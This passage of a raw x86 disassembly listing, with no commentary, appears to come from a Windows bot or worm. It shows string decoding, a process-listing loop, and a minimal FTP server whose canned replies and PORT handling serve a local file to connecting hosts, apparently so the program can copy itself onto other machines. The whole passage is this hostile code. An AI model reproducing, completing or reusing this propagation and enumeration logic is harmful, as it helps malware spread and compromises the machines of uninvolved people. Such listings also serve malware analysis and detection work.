		jnz	loc_41E8FA
		lea	eax, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4018E8
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0
		push	ecx
		call	sub_4011D6
		add	esp, 4
		test	al, al
		jz	loc_41E8E2
		push	0
		push	7Bh
		push	25h
		push	9
		push	25h
		push	25h
		push	9
		push	5
		push	1Dh
		push	23h
		push	1Fh
		lea	edx, [esp+8Ch+var_3C]
		push	79h
		push	edx
		call	sub_4019C4
		add	esp, 34h
		mov	edi, eax
		lea	ebx, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 1
		mov	ecx, ebx
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_40170D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		xor	edi, edi
		call	sub_4014E2
		mov	eax, [eax]
		lea	ecx, [esp+60h+var_4C]
		push	ecx
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], eax
		call	sub_40197E
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401811
		test	al, al
		jz	short loc_41E8E2
		mov	ebp, dword_5118D8


loc_41E86E:				; CODE XREF: sub_41E760+180j
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_40122B
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_40122B
		mov	edx, [eax+15h]
		mov	ecx, ebx
		push	edx
		push	edi
		push	offset aD_PidDS	; "%d. - Pid: %d - \"%s\""
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h
		push	5DCh
		call	ebp
		lea	ecx, [esp+60h+var_50]
		call	sub_40107D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_40197E
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401811
		test	al, al
		jnz	short loc_41E86E


loc_41E8E2:				; CODE XREF: sub_41E760+62j
					; sub_41E760+106j
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401825
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41E8FA:				; CODE XREF: sub_41E760+37j
		lea	ecx, [edi+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E9EE
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+64h+var_4], 2
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41ED15
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 3
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 4
		call	sub_4014DD
		push	eax
		push	offset dword_445004
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41E9EE:				; CODE XREF: sub_41E760+1ACj
		lea	ecx, [edi+8Eh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EB55
		lea	edx, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_4016EA
; ---------------------------------------------------------------------------
		lea	eax, [esp+60h+var_48]
		mov	ebx, 5
		push	eax
		mov	[esp+64h+var_4], ebx
		call	sub_402162
		add	esp, 4
		test	al, al
		jz	loc_41EB3D
		push	0
		push	3Eh
		push	13h
		push	ebx
		push	3
		push	9
		push	16h
		push	12h
		push	ebx
		push	13h
		lea	ecx, [esp+88h+var_3C]
		push	3Dh
		push	ecx
		call	sub_4019C4
		add	esp, 30h
		mov	edi, eax
		lea	ebp, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 6
		mov	ecx, ebp
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401B54
		lea	ecx, [esp+60h+var_4C]
		xor	edi, edi
		push	ecx
		lea	ecx, [esp+64h+var_48]
		call	sub_401465
		mov	edx, [eax]
		lea	eax, [esp+60h+var_4C]
		push	eax
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], edx
		call	sub_4013F7
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jz	short loc_41EB3D
		mov	ebx, dword_5118D8


loc_41EAD6:				; CODE XREF: sub_41E760+3DBj
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_401055
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	edi
		push	offset dword_444FF8
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		push	5DCh
		call	ebx
		lea	ecx, [esp+60h+var_50]
		call	sub_401839
		lea	eax, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4013F7
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jnz	short loc_41EAD6


loc_41EB3D:				; CODE XREF: sub_41E760+2CFj
					; sub_41E760+36Ej
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401253
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41EB55:				; CODE XREF: sub_41E760+2A3j
		lea	ecx, [edi+0BCh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EC4C
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+64h+var_4], 7
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41ED15
		push	offset asc_444600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 8
		call	sub_4017EE
		push	eax
		call	sub_401A0A
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 9
		call	sub_4014DD
		push	eax
		push	offset dword_444FF0
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41EC4C:				; CODE XREF: sub_41E760+40Aj
		lea	ecx, [edi+60h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41ED15
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+64h+var_4], 0Ah
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	short loc_41ED15
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_24]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 0Bh
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+60h+var_24]
		mov	ebx, eax
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	ebx, ebx
		jz	short loc_41ED15
		push	ebx
		push	offset dword_444FE4
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		push	ebx
		call	sub_4018B6
		add	esp, 1Ch
		jmp	short loc_41ED17
; ---------------------------------------------------------------------------


loc_41ED15:				; CODE XREF: sub_41E760+1F0j
					; sub_41E760+44Ej ...
		xor	al, al


loc_41ED17:				; CODE XREF: sub_41E760+195j
					; sub_41E760+289j ...
		mov	ecx, [esp+60h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 50h
		retn	4
sub_41E760	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 180h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_41EEB0:				; CODE XREF: ___:loc_402004j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	(offset	asc_43C4EA+26h)
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_5118D8
		mov	[ebp-10h], esp
		mov	esi, ecx
		mov	dword ptr [ebp-4], 0


loc_41EEE0:				; CODE XREF: ___:0041EEF1j
		mov	al, [esi+0ABh]
		test	al, al
		jnz	short loc_41EEF3
		push	3E8h
		call	edi
		jmp	short loc_41EEE0
; ---------------------------------------------------------------------------


loc_41EEF3:				; CODE XREF: ___:0041EEE8j
		mov	al, [esi+0ACh]
		lea	ecx, [esi+15h]
		push	eax
		push	ecx
		mov	ecx, offset byte_449277
		call	sub_401A41
		lea	edx, [ebp-14h]
		mov	ecx, offset byte_4E8E9B
		push	edx
		mov	[ebp-14h], esi
		call	sub_40120D
; ---------------------------------------------------------------------------


loc_41EF19:				; DATA XREF: ___:loc_41EF2Co
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41EF2C:				; DATA XREF: ___:00442554o
		mov	eax, offset loc_41EF19
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EF70	proc near		; CODE XREF: sub_401DFCj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		mov	[esi+11h], eax
		mov	cl, [eax+94h]
		mov	[esi+0A9h], cl
		mov	dl, [eax+93h]
		mov	[esi+0A8h], dl
		mov	cl, [eax+95h]
		add	eax, 15h
		mov	[esi+0AAh], cl
		push	eax
		lea	ecx, [esi+2Ah]
		call	sub_401FDC
		mov	edx, [esi+11h]
		lea	ecx, [esi+69h]
		add	edx, 54h
		push	edx
		call	sub_401FDC
		mov	eax, [esi+11h]
		lea	ecx, [esi+54h]
		add	eax, 3Fh
		push	eax
		call	sub_401FDC
		mov	ecx, [esi+11h]
		add	ecx, 2Ah
		push	ecx
		lea	ecx, [esi+3Fh]
		call	sub_401FDC
		mov	edx, [esi+11h]
		lea	ecx, [esi+15h]
		push	edx
		call	sub_401FDC
		mov	al, [esp+4+arg_4]
		mov	byte ptr [esi+0ABh], 1
		mov	[esi+0ACh], al
		pop	esi
		retn	8
sub_41EF70	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F030	proc near		; CODE XREF: sub_4020C7j

var_DC		= dword	ptr -0DCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_94		= byte ptr -94h
var_88		= dword	ptr -88h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_44		= byte ptr -44h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
arg_0		= byte ptr  4
arg_8		= byte ptr  0Ch
arg_14		= dword	ptr  18h
arg_18		= byte ptr  1Ch
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_50		= byte ptr  54h
arg_68		= byte ptr  6Ch
arg_80		= byte ptr  84h
arg_88		= byte ptr  8Ch
arg_A8		= byte ptr  0ACh
arg_E4		= byte ptr  0E8h
arg_F0		= byte ptr  0F4h
arg_118		= byte ptr  11Ch
arg_128		= byte ptr  12Ch
arg_138		= byte ptr  13Ch
arg_148		= byte ptr  14Ch
arg_158		= byte ptr  15Ch
arg_908		= byte ptr  90Ch
arg_18C8	= dword	ptr  18CCh
arg_18D8	= dword	ptr  18DCh
arg_1930	= byte ptr  1934h
arg_1970	= dword	ptr  1974h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41F030
		push	eax
		mov	eax, 19B4h
		mov	large fs:0, esp
		call	sub_437B30
		push	esi
		push	edi
		mov	edi, ecx
		xor	eax, eax
		mov	[esp+14h+var_8], edi
		mov	[esp+14h+arg_14], 10h
		lea	esi, [edi+19h]
		mov	ecx, esi
		mov	[ecx], eax
		mov	[ecx+4], eax
		mov	[ecx+8], eax
		mov	[ecx+0Ch], eax
		mov	word ptr [esi],	2
		mov	[edi+1Dh], eax
		mov	dx, word ptr dword_44964F
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	6
		push	1
		push	2
		mov	[edi+1Bh], ax
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[edi+15h], eax
		jnz	short loc_41F0B7
		lea	eax, [esp+24h+var_18]
		mov	ecx, offset byte_4E8E9B
		push	eax
		mov	[esp+28h+var_18], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F75A
; ---------------------------------------------------------------------------


loc_41F0B7:				; CODE XREF: sub_41F030+6Dj
		push	10h
		push	esi
		push	eax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41F0E7
		mov	ecx, [edi+15h]
		push	ecx
		nop
		call	near ptr 71AB9639h
		lea	edx, [esp+34h+var_28]
		mov	ecx, offset byte_4E8E9B
		push	edx
		mov	[esp+38h+var_28], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F75A
; ---------------------------------------------------------------------------


loc_41F0E7:				; CODE XREF: sub_41F030+93j
		mov	al, byte_4E8E44
		test	al, al
		jz	loc_41F750
		push	ebx
		mov	ebx, dword_511B14
		push	ebp
		mov	ebp, dword_511CA0


loc_41F102:				; CODE XREF: sub_41F030+718j
		mov	eax, [edi+15h]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41F11D
		push	0FAh
		jmp	loc_41F73B
; ---------------------------------------------------------------------------


loc_41F11D:				; CODE XREF: sub_41F030+E1j
		mov	eax, [edi+15h]
		lea	ecx, [esp+40h+var_C]
		lea	edx, [esp+40h+arg_F0]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC1028h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_41F736
		xor	ecx, ecx
		lea	edx, [esp+4Ch+var_14]
		mov	[esp+4Ch+var_2C], ecx
		lea	eax, [esp+4Ch+var_2C]
		mov	[esp+4Ch+var_28], ecx
		push	edx
		mov	[esp+50h+var_24], ecx
		push	eax
		push	esi
		mov	[esp+58h+var_14], 10h
		mov	[esp+58h+var_20], ecx
		nop
		call	near ptr 71AC0B50h
		mov	eax, [esp+58h+var_34]
		test	al, al
		jz	loc_41F741
		mov	cl, byte_449DB8
		test	cl, cl
		jz	short loc_41F1CF
		mov	edx, [esp+58h+var_34+3]
		mov	ecx, dword_44964F
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+5Ch+var_34+2]
		push	edx
		mov	edx, [esp+60h+var_34+1]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aFtpD_D_D_DOnD ;	"ftp: %d.%d.%d.%d on %d"
		mov	ecx, offset dword_449958
		call	sub_4014DD
		push	eax
		push	0
		push	0
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 28h


loc_41F1CF:				; CODE XREF: sub_41F030+14Ej
		lea	ecx, [esp+58h+arg_0]
		call	sub_40142E
		push	1000h
		push	1000h
		lea	ecx, [esp+60h+arg_0]
		mov	[esp+60h+arg_1970], 0
		call	sub_401C71
		push	eax
		call	sub_4015F5
		add	esp, 8
		lea	eax, [esp+58h+arg_0]
		lea	ecx, [esp+58h+arg_18]
		push	eax
		call	sub_4014D3
		lea	ecx, [esp+58h+arg_0]
		mov	byte ptr [esp+58h+arg_1970], 1
		push	ecx
		lea	ecx, [esp+5Ch+arg_18]
		call	sub_401FDC
		mov	edi, offset a220 ; "220	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a220	; "220 \r\n"
		push	esi
		call	ebp
		push	0
		lea	edx, [esp+6Ch+arg_158]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a331 ; "331	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a331	; "331 \r\n"
		push	esi
		call	ebp
		push	0
		lea	eax, [esp+7Ch+arg_148]
		push	800h
		push	eax
		push	esi
		call	sub_401280
		mov	edi, offset a230 ; "230	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a230	; "230 \r\n"
		push	esi
		call	ebp
		push	0
		lea	ecx, [esp+8Ch+arg_138]
		push	800h
		push	ecx
		push	esi
		call	sub_401280
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp
		push	0
		lea	edx, [esp+9Ch+arg_128]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		add	esp, 10h
		lea	eax, [esp+98h+arg_128]
		lea	ecx, [esp+98h+var_C]
		push	eax
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+0A4h+var_C]
		mov	[esp+0A4h+arg_1930], 2
		call	sub_4016B8
		push	offset asc_445080 ; ","
		lea	edx, [esp+9Ch+arg_38]
		push	0
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		mov	[esp+0A4h+arg_1930], 3
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 4
		call	sub_4017EE
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+98h+arg_38]
		mov	edi, eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445080 ; ","
		lea	eax, [esp+9Ch+arg_80]
		push	1
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 5
		call	sub_4017EE
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+98h+arg_80]
		mov	[esp+98h+var_7C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445080 ; ","
		lea	ecx, [esp+9Ch+arg_8]
		push	2
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 6
		call	sub_4017EE
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+98h+arg_8]
		mov	[esp+98h+var_5C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445080 ; ","
		lea	edx, [esp+9Ch+arg_68]
		push	3
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 7
		call	sub_4017EE
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+98h+arg_68]
		mov	[esp+98h+var_58], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445080 ; ","
		lea	eax, [esp+9Ch+arg_20]
		push	4
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 8
		call	sub_4017EE
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+98h+arg_20]
		mov	[esp+98h+var_88], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445080 ; ","
		lea	ecx, [esp+9Ch+arg_50]
		push	5
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 9
		call	sub_4017EE
		push	eax
		call	ebx
		add	esp, 4
		lea	ecx, [esp+98h+arg_50]
		mov	[esp+98h+var_80], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		mov	dl, byte ptr [esp+98h+var_88]
		mov	al, byte ptr [esp+98h+var_80]
		mov	ecx, [esp+98h+var_58]
		mov	byte ptr [esp+98h+var_68+1], dl
		mov	edx, [esp+98h+var_5C]
		mov	byte ptr [esp+98h+var_68], al
		mov	eax, [esp+98h+var_68]
		push	ecx
		and	eax, 0FFFFh
		push	edx
		mov	[esp+0A0h+var_88], eax
		mov	eax, [esp+0A0h+var_7C]
		push	eax
		push	edi
		lea	ecx, [esp+0A8h+arg_A8]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ecx
		nop
		call	near ptr byte_5FC011
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 18h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp
		push	0
		lea	edx, [esp+0ACh+arg_118]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a150 ; "150	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a150	; "150 \r\n"
		push	esi
		call	ebp
		mov	eax, [esp+0B8h+var_A8]
		lea	ecx, [esp+0B8h+arg_88]
		push	eax
		push	ecx
		call	sub_401AA0
		add	esp, 8
		lea	ecx, [esp+0B8h+var_44]
		mov	[esp+0B8h+var_A8], eax
		push	offset aRb	; "rb"
		call	sub_4017EE
		push	eax
		call	near ptr 77C3F010h
		nop
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		mov	[esp+0B8h+var_A0], edi
		jz	loc_41F695
		cmp	[esp+0B8h+var_A8], 0FFFFFFFFh
		jz	loc_41F695
		push	2
		push	0
		push	edi
		call	near ptr 77C4139Ch
		nop
		push	edi
		call	near ptr 77C41574h
		nop
		push	0
		push	0
		push	edi
		mov	[esp+0D4h+var_9C], eax
		call	near ptr 77C4139Ch
		nop
		add	esp, 1Ch


loc_41F5C0:				; CODE XREF: sub_41F030+5E1j
		mov	edx, [esp+0B8h+var_A0]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+0B8h+arg_908]
		rep stosd
		push	edx
		push	1000h
		lea	eax, [esp+0C0h+arg_908]
		push	1
		push	eax
		nop
		call	near ptr 77C411FBh
		mov	ecx, [esp+0C8h+var_A0]
		mov	edi, eax
		add	esp, 10h
		test	byte ptr [ecx+0Ch], 20h
		jnz	short loc_41F613
		mov	eax, [esp+0B8h+var_A8]
		push	0
		lea	edx, [esp+0BCh+arg_908]
		push	edi
		push	edx
		push	eax
		call	ebp
		cmp	edi, 1000h
		jz	short loc_41F5C0


loc_41F613:				; CODE XREF: sub_41F030+5C7j
		mov	eax, [esp+0C8h+var_B4]
		mov	edx, [eax+11h]
		inc	edx
		mov	[eax+11h], edx
		mov	cl, byte_449DB8
		test	cl, cl
		mov	eax, edx
		jz	short loc_41F67C
		mov	edx, [esp+0C8h+var_A4+3]
		mov	ecx, [esp+0C8h+var_AC]
		push	eax
		mov	eax, [esp+0CCh+var_A4+2]
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+0D0h+var_A4+1]
		push	edx
		mov	edx, [esp+0D4h+var_A4]
		and	eax, 0FFh
		and	ecx, 0FFh
		push	eax
		and	edx, 0FFh
		push	ecx
		push	edx
		push	offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total	s"...
		mov	ecx, offset dword_449958
		call	sub_4014DD
		push	eax
		push	0
		push	0
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 2Ch


loc_41F67C:				; CODE XREF: sub_41F030+5F8j
		mov	eax, [esp+0C8h+var_B0]
		push	eax
		nop
		call	near ptr 77C40AB1h
		mov	ecx, [esp+0CCh+var_B8]
		add	esp, 4
		push	ecx
		call	near ptr 71AB9639h
		nop


loc_41F695:				; CODE XREF: sub_41F030+55Bj
					; sub_41F030+566j
		mov	edi, offset a226 ; "226	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a226	; "226 \r\n"
		push	esi
		call	ebp
		push	0
		lea	edx, [esp+0E0h+arg_E4]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a221 ; "221	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a221	; "221 \r\n"
		push	esi
		call	ebp
		push	esi
		call	near ptr 71AB9639h
		nop
		lea	ecx, [esp+0F0h+var_AC]
		mov	byte ptr [esp+0F0h+arg_18D8], 2
		call	sub_401226
		lea	ecx, [esp+0F0h+var_64]
		mov	byte ptr [esp+0F0h+arg_18D8], 1
		call	sub_401226
		lea	ecx, [esp+0F0h+var_7C]
		mov	byte ptr [esp+0F0h+arg_18D8], 0
		call	sub_401226
		lea	ecx, [esp+0F0h+var_94]
		mov	[esp+0F0h+arg_18D8], 0FFFFFFFFh
		call	sub_401226
		mov	edi, [esp+0F0h+var_DC]


loc_41F736:				; CODE XREF: sub_41F030+109j
		push	9C4h


loc_41F73B:				; CODE XREF: sub_41F030+E8j
		call	near ptr 284020Fh
		nop


loc_41F741:				; CODE XREF: sub_41F030+140j
		mov	al, byte_4E8E44
		test	al, al
		jnz	loc_41F102
		pop	ebp
		pop	ebx


loc_41F750:				; CODE XREF: sub_41F030+BEj
		mov	eax, [edi+15h]
		push	eax
		call	near ptr 71AB9639h
		nop


loc_41F75A:				; CODE XREF: sub_41F030+82j
					; sub_41F030+B2j
		mov	ecx, [esp+0F0h+arg_18C8]
		pop	edi
		xor	eax, eax
		pop	esi
		mov	large fs:0, ecx
		add	esp, 19C0h
		retn
sub_41F030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F960	proc near		; CODE XREF: sub_401230j

var_90		= dword	ptr -90h
